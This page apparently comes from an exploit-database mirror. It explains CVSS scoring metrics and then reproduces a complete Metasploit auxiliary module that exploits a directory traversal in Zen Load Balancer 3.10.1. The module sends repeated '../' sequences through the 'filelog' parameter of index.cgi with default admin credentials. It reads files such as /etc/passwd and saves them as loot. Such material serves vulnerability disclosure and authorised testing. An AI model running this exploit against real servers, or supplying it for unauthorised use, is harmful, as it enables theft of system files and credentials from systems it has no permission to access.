The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
Low
A
There is reduced performance or interruptions in resource availability. However, the attacker does not have the ability to completely prevent access to the resources or services; the impact is limited.
Below is a copy: Zen Load Balancer 3.10.1 Directory Traversal (Metasploit)
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Zen Load Balancer Directory Traversal",
'Description' => %q{
This module exploits a authenticated directory traversal
vulnerability in Zen Load
Balancer `v3.10.1`. The flaw exists in 'index.cgi' not
properly handling 'filelog='
parameter which allows a malicious actor to load arbitrary file path.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Basim Alabdullah', # Vulnerability discovery
'Dhiraj Mishra' # Metasploit module
],
'References' =>
[
['EDB', '48308']
],
'DisclosureDate' => "Apr 10 2020"
))
register_options(
[
Opt::RPORT(444),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptInt.new('DEPTH', [true, 'The max traversal depth', 16]),
OptString.new('FILEPATH', [false, 'The name of the file to
download', '/etc/passwd']),
OptString.new('TARGETURI', [true, "The base URI path of the
ZenConsole install", '/']),
OptString.new('HttpUsername', [true, 'The username to use for
the HTTP server', 'admin']),
OptString.new('HttpPassword', [false, 'The password to use for
the HTTP server', 'admin'])
])
end
def run_host(ip)
filename = datastore['FILEPATH']
traversal = "../" * datastore['DEPTH']
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.cgi'),
'vars_get'=>
{
'id' => '2-3',
'filelog' => "#{traversal}#{filename}",
'nlines' => '100',
'action' => 'See logs'
},
'authorization' =>
basic_auth(datastore['HttpUsername'],datastore['HttpPassword'])
}, 25)
unless res && res.code == 200
print_error('Nothing was downloaded')
return
end
print_good("#{peer} - Downloaded #{res.body.length} bytes")
path = store_loot(
'zenload.http',
'text/plain',
ip,
res.body,
filename
)
print_good("File saved in: #{path}")
end
end
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